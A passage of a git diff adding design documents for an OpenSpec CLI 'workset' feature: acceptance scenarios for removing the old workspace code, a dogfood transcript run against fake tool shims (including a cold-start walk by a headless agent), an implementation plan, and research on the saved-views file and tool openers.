`registry`, `openers`, `open-surface`, `skills`, `link-input`) +- **AND** the build compiles with no unused-import or missing-module + errors +- **AND** the barrel files export no deleted symbols + +#### Scenario: The Contract Surface Shrank Deliberately + +- **WHEN** the capstone's agent-contract inventory and dead-code sweep + run later +- **THEN** `deletion-ledger.md` in this slice folder lists the 39 + `workspace_*`/`initiative_*` diagnostic codes removed with the + commands (sole survivor: `initiative_option_removed`) and the + dead-export carve-outs kept for 4.1 +- **AND** no surviving code path emits any removed code + +### The Survivors Still Work + +#### Scenario: Planning-Home Behavior Is Byte-Stable + +Ground truth discovered during implementation: `workspace-planning` +mode has been **unreachable from the CLI since slice 1.2** — every +supported command derives its planning home via `toPlanningHome`, which +hardcodes `kind: 'repo'` (`src/core/root-selection.ts:320-327`), and the +one remaining `resolveCurrentPlanningHomeSync` reference is a default +parameter whose only caller always overrides it. The carve-out this +slice preserves is the planning-home **library** contract, which 4.1 +owns: + +- **GIVEN** a directory carrying pre-existing workspace view state +- **WHEN** `status --json` runs there +- **THEN** it reports `repo-local`, exactly as it did before this slice + (the 1.2 demotion already made the workspace branch CLI-unreachable) +- **AND** the planning-home library still resolves the view state to + `kind: 'workspace'` (existing `planning-home.test.ts` coverage) and + `buildActionContext` still maps that to `workspace-planning` with the + reworded read-only initiative-context constraint (pinned by a new + unit test) +- **AND** the five template guards stay byte-identical (they quote the + library contract that 4.1 deletes) + +#### Scenario: Legacy Initiative Links Still Display + +- **GIVEN** a change with legacy initiative metadata in + `.openspec.yaml` +- **WHEN** `status`/`instructions` run on it +- **THEN** the `Initiative: <store>/<id>` legacy display still appears +- **AND** `new change --initiative x` still fails with + `initiative_option_removed` + +#### Scenario: User Data Survives + +- **GIVEN** a store containing an `initiatives/` directory and an XDG + data dir containing workspace view state +- **WHEN** the representative surviving command set runs — `store list`, + `store doctor`, `store remove` of an *unrelated* store, + `openspec update`, `status`, and `new change` in that store +- **THEN** the initiative directory and the view state are + byte-identical afterward (hash the trees before and after) +- **AND** no surviving command offers to delete them + +#### Scenario: Update Falls Through Cleanly + +- **GIVEN** the working directory is a workspace view dir with no + OpenSpec project +- **WHEN** the user runs `openspec update` +- **THEN** the standard no-project error appears, with no mention of + workspace commands + +### Nothing Else Moves + +#### Scenario: The Rest Of The Suite Is Byte-Stable + +- **WHEN** the full suite runs after the deletion +- **THEN** every kept test passes unchanged — store group, root + selection, the 1.3 two-checkout journey, the 1.4 vocabulary sweep and + guards, `change-initiative-link` (unchanged — new assertions about the + legacy display live in the new test file, never here), planning-home, + legacy-state, and the binding tests in + `test/core/store/registry.test.ts` +- **AND** the only test diffs are whole-file deletions, the named + partial edits (`config-profile.test.ts` workspace-profile coverage + including its helper and the core-preset case, ~134-172 and 422-516; + `registry.test.ts` initiatives-collection removal; + `foundation.test.ts` deleted-module portions; + `command-registry.test.ts` removal of the now-obsolete initiative + carve-out in the `--store` description walk), and the **additions**: + the new removal-coverage test file and the planning-home mode pin +- **AND** the net LOC delta of the slice is reported in the changelog + (expected on the order of −13k lines including tests) diff --git a/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/capstone-dogfood.md b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/capstone-dogfood.md new file mode 100644 index 0000000000..df48702ad8 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/capstone-dogfood.md @@ -0,0 +1,162 @@ +# 7.1 Capstone Dogfood Transcript + +Date: 2026-06-12, after the simplify pass (567bb03). Environment: a +scratch dir with isolated XDG state (`XDG_DATA_HOME`/`XDG_CONFIG_HOME` +under `/tmp/openspec-7.1-dogfood/`), three member folders (a planning +root, a code repo, a plain notes folder), and fake `code`, `cursor`, +`claude`, `codex` executables on a fully controlled PATH — each shim +records its cwd and argv to a launch log and exits 0. The CLI under +test is the built `dist/cli/index.js` via an `openspec` wrapper on the +same PATH. Per the runbook's 7.1 amendment: the scripted +compose→list→open walk for both launch styles with exact-argv +verification, then a cold-start UX walk by a fresh headless agent. + +## Leg 1 — scripted walk (the user's seat, non-interactive) + +```text +$ openspec workset create platform --member src/team-context --member src/web-app --member notes --tool claude + +Saved workset 'platform' (3 members) to your machine. +Open it any time with: openspec workset open platform +exit=0 + +$ openspec workset list +platform (opens in Claude Code) + team-context /private/tmp/openspec-7.1-dogfood/src/team-context + web-app /private/tmp/openspec-7.1-dogfood/src/web-app + notes /private/tmp/openspec-7.1-dogfood/notes +exit=0 + +$ openspec workset open platform --tool code +Opening 'platform' in VS Code (a window opens; this command returns). +exit=0 + +$ openspec workset open platform # saved tool: claude (attach-dirs) +Handing this terminal to Claude Code for 'platform' (the session ends when you exit). +exit=0 + +$ openspec workset open platform --tool codex +Handing this terminal to codex for 'platform' (the session ends when you exit). +exit=0 +``` + +The generated `.code-workspace` (regenerated on every open): + +```json +{ + "folders": [ + { "name": "team-context", "path": "/private/tmp/openspec-7.1-dogfood/src/team-context" }, + { "name": "web-app", "path": "/private/tmp/openspec-7.1-dogfood/src/web-app" }, + { "name": "notes", "path": "/private/tmp/openspec-7.1-dogfood/notes" } + ] +} +``` + +The recorded launches — exact argv per tool, cwd at the primary +member, **no positional anywhere** (the no-prompt rule), one attach +pair per member with the primary included, codex's sandbox pre-args +first: + +```json +{"tool":"code","cwd":".../src/team-context","args":[".../data/openspec/worksets/platform.code-workspace"]} +{"tool":"claude","cwd":".../src/team-context","args":["--add-dir", ".../src/team-context", "--add-dir", ".../src/web-app", "--add-dir", ".../notes"]} +{"tool":"codex","cwd":".../src/team-context","args":["--sandbox", "workspace-write", "--add-dir", ".../src/team-context", "--add-dir", ".../src/web-app", "--add-dir", ".../notes"]} +``` + +The wrong turns: + +```text +$ openspec workset open platform --tool zed # unknown tool: the strand test +Error: Unknown tool 'zed'. +Fix: Known tools: code, cursor, claude, codex. Add new tools under "openers" in /tmp/openspec-7.1-dogfood/config/openspec/config.json. +Open manually: + Workspace file: /tmp/openspec-7.1-dogfood/data/openspec/worksets/platform.code-workspace + Members: + team-context /private/tmp/openspec-7.1-dogfood/src/team-context + web-app /private/tmp/openspec-7.1-dogfood/src/web-app + notes /private/tmp/openspec-7.1-dogfood/notes +exit=1 + +$ rm -rf notes && openspec workset open platform --tool code # missing member +Skipped 'notes' (/private/tmp/openspec-7.1-dogfood/notes is not available). +Opening 'platform' in VS Code (a window opens; this command returns). +exit=0 + +$ openspec workset remove platform --yes +Removed workset 'platform'. Member folders were not touched. +exit=0 + +$ openspec workset list +No worksets saved. Create one with: openspec workset create +exit=0 +``` + +Member folders verified byte-untouched after the whole walk (only the +original fixture files present). + +## Leg 1b — the interactive wizard (real pty, driven by expect) + +Answers: name typed, first folder accepted at the `.` default, Finish, +first tool in the select (VS Code — all four fakes available), open-now +declined. + +```text +[1/3] Name the workset +? Workset name: platform-two +[2/3] Add member folders (the first one is the primary - sessions start there) +? Folder path: . + Added 'openspec-7.1-dogfood' (/private/tmp/openspec-7.1-dogfood) +? Add another folder or finish: Finish +[3/3] Choose your tool +? Open with: VS Code + +Saved workset 'platform-two' (1 member) to your machine. +? Open it now in VS Code? No +Open it any time with: openspec workset open platform-two +exit=0 +``` + +Saved state confirmed (`tool: code`, basename-labeled member, absolute +path). A separate pty run where stdin hit EOF at the name prompt +exercised the cancellation path live: `Cancelled.`, exit 130, nothing +saved. + +## Leg 2 — cold start (fresh headless agent, no insider knowledge) + +A fresh `codex exec` session (gpt-5.5, medium) in the scratch dir with +fresh XDG state, given only this prompt: the user works across the +three folders daily, was told "the openspec CLI can keep a named view +of folders and open them together", knows no commands, and must start +from `openspec --help`. The agent's own report of its path: + +```sh +openspec --help +openspec workset --help +openspec workset create --help +openspec workset open --help +openspec workset list --help +openspec workset create daily-context --member ./src/team-context --member ./src/web-app --member ./notes --tool claude --json +openspec workset open daily-context --tool claude +``` + +It discovered the group from top-level help ("personal working +views"), drilled into subcommand help, composed non-interactively with +repeatable `--member` flags, and opened the view. Physical evidence: +the launch log shows claude invoked with cwd at the primary and one +`--add-dir` pair per member (no positional), and the fresh data dir +holds exactly the spec-shaped `worksets.yaml`. **An agent with zero +insider knowledge reached an opened workset from `--help` alone.** + +## Verdict + +Every runbook capstone check passes: compose→list→open for both launch +styles with exact argv verified (including the no-prompt rule), the +generated workspace-file contents, the failure fallback, the +missing-member skip, safe removal, member-folder isolation, the +interactive wizard from a real pty, live cancellation, and the +cold-start agent walk. No product findings surfaced — the only defect +found during the run was in the dogfood's own first fake-tool shim +(it routed argv through `node -e`, which ate `--add-dir` as a node +option; rewritten with printf). Raw transcripts in +`/tmp/openspec-7.1-dogfood/` during the run; the durable record is +this file. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/plan.md b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/plan.md new file mode 100644 index 0000000000..a71dfc20f2 --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/plan.md @@ -0,0 +1,343 @@ +# Personal Worksets Plan (7.1) + +## Status + +- Research checkpoint committed (`research.md`, 980b056). +- Spec written and dual-reviewed (subagent approve-with-fixes, codex + reject → all findings folded; 6f4ca4a). The spec's 14 numbered + decisions are the contract this plan implements. +- This plan: two implementation checkpoints, each ending with a full + green `pnpm test` and a commit. + +## Source Of Truth + +- `slices/personal-worksets/spec.md` — decisions 1–14 + acceptance + criteria. +- Roadmap 7.1 FR1/FR2 and locked decisions (owner-directed). +- `slices/personal-worksets/research.md` — mechanics evidence + (`f858c19^` citations). + +## Current Code Map (anchors verified 2026-06-12) + +Storage idiom to copy / extract from: + +- `src/core/global-config.ts:78-102` — `getGlobalDataDir` with + injectable `{env, platform, homedir}`; `:35-56` `getGlobalConfigDir`; + `:116-170` `getGlobalConfig`/`saveGlobalConfig` (spread-parsed, so an + `openers` key survives round-trips); `:147-153` malformed-JSON → + stderr warning + defaults. +- `src/core/config-schema.ts:7-25` — `GlobalConfigSchema` is + `.passthrough()`; `:38-67` `KNOWN_TOP_LEVEL_KEYS` (config set rejects + unknown keys; worksets add nothing here — hand-edit-only at v1). +- `src/core/store/foundation.ts:188-194` — strict zod state schema with + `version: z.literal(1)`; `:259-292` parse; `:314-336` serialize + (re-validates); `:211-237` `invalidStoreStateError` ("Repair or + remove <path>."); `:391-406` **private** `writeFileAtomically`; + `:414-460` **private** `acquireStoreRegistryLock` (wx-open, 30s + stale-steal, 5s deadline, 25ms sleeps); `:462-480` + `updateStoreRegistryState` (lock → read → updater → write → unlock). + The extraction target: both privates move to `src/core/file-state.ts` + with the busy-error factory parameterized; foundation delegates. +- `src/core/store/registry.ts:210-229, 288-306` — pure + `withRegisteredStore`/`withoutRegisteredStore` rebuild pattern; + `:544-555` no-op pre-read before locking. +- `src/core/id.ts:5-13` — `isKebabId`, `KEBAB_ID_DESCRIPTION`. + +Command/output idiom: + +- `src/commands/repo.ts:149-181` — the minimal group registration + model (group description pulled from the completions registry). +- `src/commands/store.ts:222-227` — `isPromptCancellationError` + (duplicated at `src/commands/config.ts:91`; a third copy justifies + extraction — put the helper in `src/commands/shared-output.ts`); + `:243-381` prompt idioms (dynamic `@inquirer` imports, validate + wrappers, `prefill: 'editable'`, plan-then-confirm, `--yes`); + `:675-679` `Cancelled.` + exit 130; `:761-825` the `command:*` + unknown-subcommand handler emitting one JSON document. +- `src/commands/shared-output.ts:9-48` — `printJson`, `asStatus`, + `emitFailure`. +- `src/commands/context.ts:140-178` — write-guard + stderr + confirmation idiom; `:30` null-shape failure payload pattern. +- `src/utils/interactive.ts:17-28` — `resolveNoInteractive`, + `isInteractive`. +- `src/cli/index.ts:22-25, 348-351` — import + registration block; + `:49-54` hidden rejected `Option` pattern (for `open --json`); + `:60-61` the one-JSON-document failure comment; `:118-129` telemetry + preAction (generic; no per-command work). +- `src/core/completions/command-registry.ts:251-347` (store group with + subcommands), `:349-364` (context), `:374-405` (repo) — the + `workset` entry follows the store shape (group + four subcommands). +- `src/core/working-set.ts:93-107` — `buildCodeWorkspaceJson` + conventions to mirror (NOT generalized; recorded in spec d14). +- `package.json:77` — `"cross-spawn": "7.0.6"`, currently zero + importers. + +Old mechanics to port (all at `f858c19^`): + +- `src/core/workspace/openers.ts:48-108` — PATH scan (PATH/Path/path + keys, win32 PATHEXT default `.COM;.EXE;.BAT;.CMD`, posix X_OK, + separator-bearing commands stat directly, injectable + `{env, platform}`); `:144-172` available-first stable sort + + `(<exe> not found on PATH)` notes + first-available default. Spec + d14 sharpens: platform-keyed delimiter/join (`path.win32`/ + `path.posix`), extension-bearing commands match as-is. +- `src/commands/workspace/open.ts:21-22` — cross-spawn via + `createRequire`; `:175-218` launch promise (error event vs close); + spec d6/d7 replace the close handling (honest code/signal + propagation). +- `src/commands/workspace/prompt-theme.ts:3-26` — chalk prompt theme + (recoverable; reuse as `workset` prompt theme only if trivial — + optional polish, not a contract). +- `src/commands/workspace/setup-prompts.ts:29-160` — the member-loop + prompt shape. +- `test/helpers/path-env.ts` — `pathEnvKey`, `withPrependedPathEnv` + (resurrect verbatim). +- `test/commands/workspace-initiative-open.test.ts:~93-121` — + `createFakeExecutable` recorder pattern (posix shim + `.cmd` twin + + `OPENSPEC_FAKE_OPEN_LOG`); resurrect as a shared helper + `test/helpers/fake-tool.ts`. + +Test harness: + +- `test/helpers/run-cli.ts:56-91` — built-CLI runner, merges + `OPEN_SPEC_INTERACTIVE: '0'`. +- `test/commands/context.test.ts:20-27` — the XDG isolation block + (mkdtemp + realpath, `XDG_DATA_HOME`/`XDG_CONFIG_HOME`, + `OPENSPEC_TELEMETRY: '0'`, `getGlobalDataDir({env})`). +- `test/core/store/foundation.test.ts` / `registry.test.ts` — unit + homes; they pin the store behavior the file-state extraction must + not change. + +## Implementation Plan + +### Checkpoint 1 — core: file-state extraction, worksets storage, openers (commit) + +1. `src/core/file-state.ts` (new): move `writeFileAtomically` and the + lock-acquire loop out of store foundation verbatim, parameterizing + the two REAL error sites (plan-review correction — stale-steal is + silent rm-and-continue, `foundation.ts:441-448`; the sites are + lock-create failure at `:428-435` and deadline timeout at + `:451-454`): `errorFor: (kind: 'create-failed' | 'timeout', + info: { lockPath, cause? }) => Error`. Store foundation delegates; + its emitted errors stay byte-identical. **The existing suite does + NOT pin this** (plan-review correction: nothing in `test/` covers + the lock, stale steal, busy errors, or atomic-write failure) — so + CP1 adds the pins itself: the two store busy-error byte shapes + asserted *through the foundation path* (message + `Cannot create the registry lock file <path> (<code>).` + its fix; + `Store registry is busy.` + the stale-lock fix), alongside the + direct file-state units. +2. `src/core/worksets.ts` (new): spec d2/d3/d4/d12. + - Paths: `getWorksetsDir`, `getWorksetsFilePath`, + `getWorksetCodeWorkspacePath(name)` — all threading + `{ globalDataDir? }` like `StorePathOptions`. + - Schema (zod, strict): `{ version: 1, worksets: Record<name, + { tool?: string, members: [{ name, path }, ...nonempty] }> }`; + parse enforces kebab names via `isKebabId`, absolute member + paths, non-empty/separator-free/non-dot labels, intra-workset + label uniqueness; `tool` is a plain string. + - `parseWorksetsState` / `serializeWorksetsState` (re-validates); + `invalid_workset_file` / `workset_file_busy` via the shared + file-state helpers; absent file ⇒ empty state (the registry + precedent). + - Pure `withWorkset` (throws `workset_exists`) / `withoutWorkset` + (throws `workset_not_found` with saved names / create-command + fix); `updateWorksetsState(updater)`; **`withWorksetsLock(fn)`** + (lock → read → `fn(state)` → release, no yaml write-back — + plan-review fix: `open` needs a lock-scoped read plus + derived-file write without rewriting `worksets.yaml`, which the + store-pattern updater cannot express); read-only `listWorksets`, + `getWorkset`. + - Pure `buildWorksetCodeWorkspaceJson(members)` mirroring the + working-set builder's conventions (folders in member order, + saved names, absolute paths, 2-space JSON + newline). + - Errors: `WorksetError extends Error` with `.diagnostic` — reuse + `StoreError` directly instead if nothing workset-specific is + needed (`asStatus` duck-types `.diagnostic`, so either works; + prefer reusing `StoreError` to avoid a parallel class — decide + in code, record in the spec if it matters). +3. `src/core/openers.ts` (new): spec d5/d6. + - `BUILTIN_OPENERS` table (`code`, `cursor`, `claude`, `codex` rows + per the locked table); `OpenerDefinition { id, label, style, + command, args, attachFlag }`. + - `mergeOpenerConfig(builtins, raw)` — per-field override for known + ids, full rows for new ids (`style` required, `command` defaults + to id), typed `invalid_opener_config` on unknown style/malformed + row (strict per-row zod). + - `readOpenerConfig()` — reads the global config file's `openers` + key (via `getGlobalConfig`; malformed file already degrades with + the existing stderr warning). + - `isExecutableAvailable(command, {env, platform})` + + `listOpenerChoices(table, opts)` — the `f858c19^` scan with the + d14 sharpenings. + - `buildLaunchCommand(opener, { members, codeWorkspacePath })` — + pure (plan-review fix: the workspace-file style needs the + generated file's path as an input); workspace-file ⇒ + `{ executable, args: [codeWorkspacePath], cwd: primary }`; + attach-dirs ⇒ `{ executable, args: [...pre, ...members.flatMap( + m => [attachFlag, m.path])], cwd: primary }`; returns + `{ executable, args, cwd, label, style }`; never a positional. +4. Unit tests: `test/core/file-state.test.ts` (atomic write, lock + contention, stale steal, the two error kinds), + `test/core/worksets.test.ts` (parse/serialize round-trip, + hand-edit contract matrix, with/without, `withWorksetsLock`, lock + no-op reads, builder output), `test/core/openers.test.ts` (merge + matrix, availability incl. the win32 PATHEXT/`Path`/`tool.cmd` + matrix — fixture strategy recorded per plan review: the scan takes + an injectable `isExecutableFile` stat seam, since + `path.win32.join` output on a posix host produces + backslash-bearing filenames a naive fixture never matches; argv + builder incl. single-member, attach-pair-per-member, codex + pre-args, no-positional pin). Plus the store busy-error byte-shape + pins from item 1. +5. Full `pnpm test` green; commit. + +### Checkpoint 2 — command, registration, docs, e2e (commit) + +1. `src/commands/workset.ts` (+ `workset-prompts.ts` if the ~600-line + bar nears): the four subcommands per spec d1/d8/d9/d10/d11/d13. + - `create [name]`: interactive 3-step wizard / non-interactive + `--member` (+`name=path`) and `--tool` (validated against the + merged table); validation order: name → members → tool; write + under lock; offer-to-open (skipped when no tool saved; + suppressed non-interactive); JSON envelope `{ workset, status }`. + `--member` is repeatable via an explicit Commander collector + (`(value, prev) => [...prev, value]` with default `[]` — no repo + precedent exists and Commander keeps only the last value + otherwise; a parser test pins flag order). + - `list`: human at-a-glance + `{ worksets, status }` sorted by + name. + - `open <name> [--tool <id>]`: **order fixed per the converged + plan-review P1** — resolve workset, then under the lock via + `withWorksetsLock`: re-read + regenerate `.code-workspace` + unconditionally (existing-and-directory members only; skip + notes; `workset_no_members_available` if none survive) → + release lock → resolve tool (`--tool` override → saved → + interactive select / typed `workset_tool_required`) → + availability check → pre-launch kind line → spawn (cross-spawn + via `createRequire(import.meta.url)` + `typeof nodeSpawn` cast, + the `f858c19^:open.ts:21-22` shape — no `@types/cross-spawn` + exists; `shell:false`, `stdio:'inherit'`, cwd = surviving + primary) → propagate exit code / `128+signal`. The + `workset_tool_unknown` / `workset_tool_unavailable` / + `workset_launch_failed` failures all fire AFTER regeneration, so + their "Open manually:" block always names an existing, current + file (the fallback test asserts the file's existence and + currency). `--json` registered as a hidden option + (`.hideHelp()`, the `cli/index.ts:49-54` precedent — parsed so + Commander never owns the error, kept out of help so a broken + mode is not advertised) and rejected in the action with the + one-document `workset_open_json_unsupported` payload. + - `remove <name>`: plan-then-confirm / `--yes`; under the lock + delete entry + ENOENT-tolerant derived-file cleanup; + `{ removed, status }`. + - Group: description from the completions registry; `command:*` + handler (`unknown_workset_subcommand`); failure plumbing through + `emitFailure` with per-command null shapes; cancellation helper + extracted to shared-output (third copy). +2. Registration: `src/cli/index.ts` import + `registerWorksetCommand`; + `command-registry.ts` `workset` entry (group + 4 subcommands, + flags: `--member`, `--tool`, `--json`, `--yes`, + `--no-interactive`). +3. Docs: `docs/cli.md` — a "Personal worksets" section (concept + paragraph + command table rows + the opener-config example). +4. Tests: + - Resurrect `test/helpers/path-env.ts`; add + `test/helpers/fake-tool.ts` (recorder + posix/cmd shims). + - `test/commands/workset.test.ts`: non-interactive create + (+failure matrix: exists/members-required/member-invalid/name/ + unknown `--tool`), list (incl. the empty shape), remove + (+confirmation-required, not-found, never-opened), open per + fake tool (argv/cwd exact, exit code 7, missing-member skip, + primary fallback, no-members failure, open of an unknown name, + unknown/unavailable tool fallback block asserting the named + `.code-workspace` exists with current content AND the fix names + another installed tool, `--tool` override byte-unchanged yaml, + opener-config zed + attach_flag override + invalid style, + `open --json` rejection, unknown subcommand, command-level + corrupt `worksets.yaml` → `invalid_workset_file`). + - Launch mechanics that fake executables cannot exercise run as + in-process units through the d14 injectable-spawn seam + (plan-review fix): a fake ChildProcess emitting + `close(null, 'SIGINT')` pins the 130 path; an `error` event pins + `workset_launch_failed` (shell shims translate signals and a + PATH-absent tool can never reach the spawn-error branch). + - Interactive coverage (plan-review fix; `runCLI` forces + `OPEN_SPEC_INTERACTIVE=0`, so no CLI-spawned test can prompt): + in-process units with a stubbed TTY/env gate and + `vi.mock('@inquirer/prompts')` throwing `ExitPromptError` at + each compose boundary (name / member / tool / open-now confirm) + assert `Cancelled.`, exit 130, nothing saved. Typed cancellation + exists only on remove (`workset_remove_cancelled`, the declined + confirm — the spec's d12 was amended this round: create has no + abort-confirm, so `workset_create_cancelled` was dropped as a + dead code). If the gate stubbing proves brittle in + implementation, the fallback is recorded: cover the helper + + declined-confirm paths in-process and assign the Ctrl-C walk to + the capstone transcript explicitly. + - `test/cli-e2e/workset-journey.test.ts`: compose→list→open(both + styles)→remove with isolated XDG + fake tools; the two-data-dirs + teammate scenario; member-folder byte-untouched sweep + (fs-snapshot); `openspec context`/`doctor` byte-identical + before/after. +5. Full `pnpm test` green; commit. + +## Test Plan Summary + +Unit: file-state (3 areas), worksets storage (~10 cases), openers +(~12 cases). Command: ~20 cases over fake tools. E2e: 1 journey + the +teammate isolation + independence asserts. All hermetic (no real +editors/agents; PATH points at fakes; XDG isolated). Windows-specific +launch semantics are covered at the unit layer (injected +platform/env); the fake-tool `.cmd` twins keep command tests +OS-portable per the 1.3 precedent. + +## Risks And Guardrails + +- **Store-foundation extraction regression** — mitigated: mechanical + move, behavior-identical contract, foundation tests untouched and + green before/after; the new file-state tests cover the shared + mechanics directly. +- **Spawn behavior in tests** — recorder fakes exit 0 quickly; the + exit-7/SIGINT cases use dedicated fake scripts; no test inherits + the parent's stdio interactively (`stdio: 'inherit'` is fine under + vitest — the child writes nothing). +- **Interactive flows**: cancellation and declined confirms are + covered in-process (CP2 test item above); the remaining + interactive-only acceptance lines are enumerated to the capstone + transcript — the full wizard walk, the open-time tool select, the + offer-to-open decline next-step line, and the `create <name>` + step-echo. +- **`open --json` flag shape**: hidden `Option` (`.hideHelp()`) per + the `cli/index.ts:49-54` precedent — parsed so Commander never owns + the error, rejected in the action with the typed one-document + payload (plan review settled hidden over visible: help should not + advertise a mode that only rejects). +- **Lock-release → spawn TOCTOU, recorded**: a concurrent `remove` + can delete the regenerated `.code-workspace` between open's lock + release and the editor reading it. Spec d2 mandates + release-before-spawn; single-user machine-local state makes this + acceptable — recorded here so it is a decision, not a discovery. +- **Config plumbing**: `getGlobalConfig` reads `process.env` (not + injectable) — `readOpenerConfig` unit tests therefore test the pure + merge directly and route file-reading coverage through the CLI + layer's XDG env; the `GlobalConfig` interface gains an `openers?` + member (the schema is already `.passthrough()`). Diagnostic fields + follow spec d12's `workset.<facet>` convention. +- **Vocabulary**: all new strings say "workset"; the only + `workspace`-bearing token is the `.code-workspace` filename/flag + (the 4.1 precedent says hyphenated file references are sweep-safe); + diagnostic codes are all `workset_*`/`invalid_opener_config` — + no `workspace_*` tokens. +- **Module sizes**: worksets.ts and openers.ts each well under the + bar; workset.ts has the recorded split seam. + +## Done Definition + +- Both checkpoints committed; full suite green at each. +- Every spec acceptance scenario has an implementing test (or is the + capstone's recorded responsibility: the interactive wizard walk). +- No changes to `openspec context`, doctor, project config parsing, or + committed formats (e2e independence asserts prove it). +- Roadmap "Plan written" box ticked with changelog entries; spec kept + consistent with anything the plan round amended. diff --git a/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/research.md b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/research.md new file mode 100644 index 0000000000..c301db5f0a --- /dev/null +++ b/openspec/work/simplify-context-and-workspace-model/slices/personal-worksets/research.md @@ -0,0 +1,371 @@ +# Personal Worksets Research (7.1) + +Date: 2026-06-12. This is the slice's first checkpoint: the evidence base +for the spec. Sources: the deleted `workspace` opener machinery at +`f858c19^` (cited as `f858c19^:path:line`), the current tree at HEAD of +`codex/store-root-parity` (cited as `path:line`), and live verification of +the four built-in tools' CLIs on this machine (macOS; `code` 1.120.0, +`cursor` 3.5.1, `claude` 2.1.173, `codex` 0.128.0), supplemented by vendor +docs where a local check would have opened a window or session. + +Findings are evidence; decisions stay in the spec. Where the evidence +forces or strongly suggests a shape, it is marked **implication**. + +## R1 — Saved-views file: shape, location, name rules + +**Global data dir.** `getGlobalDataDir` (`src/core/global-config.ts:78-102`): +`$XDG_DATA_HOME/openspec` when set on any platform, else win32 +`%LOCALAPPDATA%/openspec` (with a homedir fallback), else +`~/.local/share/openspec`. Fully injectable via +`GlobalDataDirOptions { env?, platform?, homedir? }` (`:66-70`) — the test +seam every storage test uses. The store registry sits at +`<globalDataDir>/stores/registry.yaml` (`src/core/store/foundation.ts:13-16, +64-70`), with every read/write API threading +`StorePathOptions { globalDataDir? }`. A worksets file has an obvious +sibling slot in the same data dir. + +**The registry idiom is directly copyable.** The complete pattern: + +- Zod `.strict()` schema with `version: z.literal(1)` + (`foundation.ts:188-194`); parse = YAML → `safeParse` → + `formatZodIssues` → id-grammar check on keys (`:259-292`); serialize + re-validates before writing (`:314-336`). +- Atomic write: same-dir temp file + `fs.rename`, temp removed on error + (`writeFileAtomically`, `foundation.ts:391-406`). +- Lock: `${file}.lock` via `fs.open(..., 'wx')`, 30s stale-steal, 5s + deadline with 25ms sleeps, typed `store_registry_busy` on timeout + (`foundation.ts:412-460`); `updateStoreRegistryState(updater)` does + lock → read → update → write → unlock, and updaters may throw typed + errors from inside the lock (`:462-480`). +- Pure rebuilds `withRegisteredStore`/`withoutRegisteredStore` + (`src/core/store/registry.ts:208-229, 286-306`); no-op reruns never + take the write lock (`:544-555`). +- Corrupt file → typed diagnostic naming the file with a + "Repair or remove <path>." fix (`invalid_store_registry`, + `foundation.ts:211-237`). + +**Implication**: a separate `worksets.yaml` (not a new section in the +store registry) matches the feature's independence claims — worksets are not a +declared relationship, so they should not share the store registry. Separate +file, same idiom. Deleting all workset state = deleting one file, which +satisfies "deleting all workset state loses nothing." + +**What the old workspace registry did wrong** (not inherited): it mapped +names to *managed* directories `<globalDataDir>/workspaces/<name>` +(`f858c19^:src/core/workspace/registry.ts:13, 88-98`) and made each view a +directory lifecycle (rollback ceremony, `AGENTS.md` marker-fence sync, +`.gitignore` cleanup — `f858c19^:src/core/workspace/open-surface.ts:264-316`). +A saved view should be a record (name → ordered member paths + preferred +tool), not a directory. + +**Generated `.code-workspace` placement constraint.** FR1.3/FR1.5 and the +acceptance line "no member folder ever contains workset residue" mean the +generated workspace file cannot live in a member folder. The old code put +it in the managed workspace root. With no managed dirs, the natural home +is the data dir (e.g. `<globalDataDir>/worksets/<name>.code-workspace`) — +machine-local, regenerable, deletable with the rest of workset state. +Counter-precedent: `store setup` deliberately suggests a *user-owned* +location, "never the managed XDG data dir" (`src/commands/store.ts:260-271`) +— but that comment is about the user's own repo, while this file is +derived state the user never edits. Spec decides. + +**Name validation.** One kebab grammar repo-wide: +`KEBAB_ID_REGEX = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u`, `isKebabId`, +`KEBAB_ID_DESCRIPTION` (`src/core/id.ts:5-13`; header comment: "The one +kebab id grammar (Phase 3 lock: one id namespace)"). Error-wording idiom: +`` `Repo id '${id}' ${KEBAB_ID_DESCRIPTION}.` `` with a fix restating the +rule (`src/core/store/registry.ts:498-507`). Workset names live in their +own file, so no cross-section conflict checks with stores/repos apply — +but the grammar itself should be the same `isKebabId`. + +## R2 — Opener table and opener config + +**The two styles already existed implicitly.** The old opener model was a +`kind: 'agent' | 'editor'` discriminant +(`f858c19^:src/core/workspace/foundation.ts:16-43`): editor-style openers +received exactly `[codeWorkspacePath]` as argv; agent-style openers got +optional pre-args + `['--add-dir', path]` per attached path + cwd at the +root (`f858c19^:src/commands/workspace/open.ts:73-103`). That maps 1:1 to +FR2.3's `workspace-file` / `attach-dirs` styles. What 7.1 drops: the old +code appended `WORKSPACE_OPEN_MINIMAL_PROMPT = 'Open this OpenSpec +workspace.'` as a final positional on every agent launch +(`f858c19^:open.ts:19, 90-100`) — the locked no-starter-prompt decision +removes it; agent argv ends with the attach flags. + +**Identity was triple-keyed; collapse it.** Value strings (`'codex-cli'`), +structured `{kind, id}`, and label/executable lookups each re-switched on +raw ids including a `'codex'` alias +(`f858c19^:src/core/workspace/openers.ts:110-142`, +`foundation.ts:258-268`). **Implication**: one table row per tool — +`{ id, label, style, command, args?/attach_flag? }` — is the whole +identity, and user config rows are the same shape as built-in rows (the +git difftool/mergetool pattern FR2.3 names). + +**Availability scan (inherit nearly verbatim).** +`f858c19^:src/core/workspace/openers.ts:48-108`: PATH value from +`env.PATH ?? env.Path ?? env.path`; non-win32 extensions `['']`, win32 +`PATHEXT ?? '.COM;.EXE;.BAT;.CMD'`; candidate = `join(entry, exe + ext)` +must stat as a file, plus `X_OK` access on posix; executables containing a +path separator stat directly; all failures swallowed; injectable +`{ env?, platform? }`. Choices list available-first via a stable sort with +`(<exe> not found on PATH)` annotations (`:144-166`); default = first +available (`:168-172`). No caching — re-stats per call (fine at this call +frequency). + +**Built-in rows confirmed by live CLI verification** (details in the +per-tool section below): + +| id | style | launch shape | +| --- | --- | --- | +| `code` | workspace-file | `code <name>.code-workspace` | +| `cursor` | workspace-file | `cursor <name>.code-workspace` | +| `claude` | attach-dirs | cwd=primary, `claude --add-dir 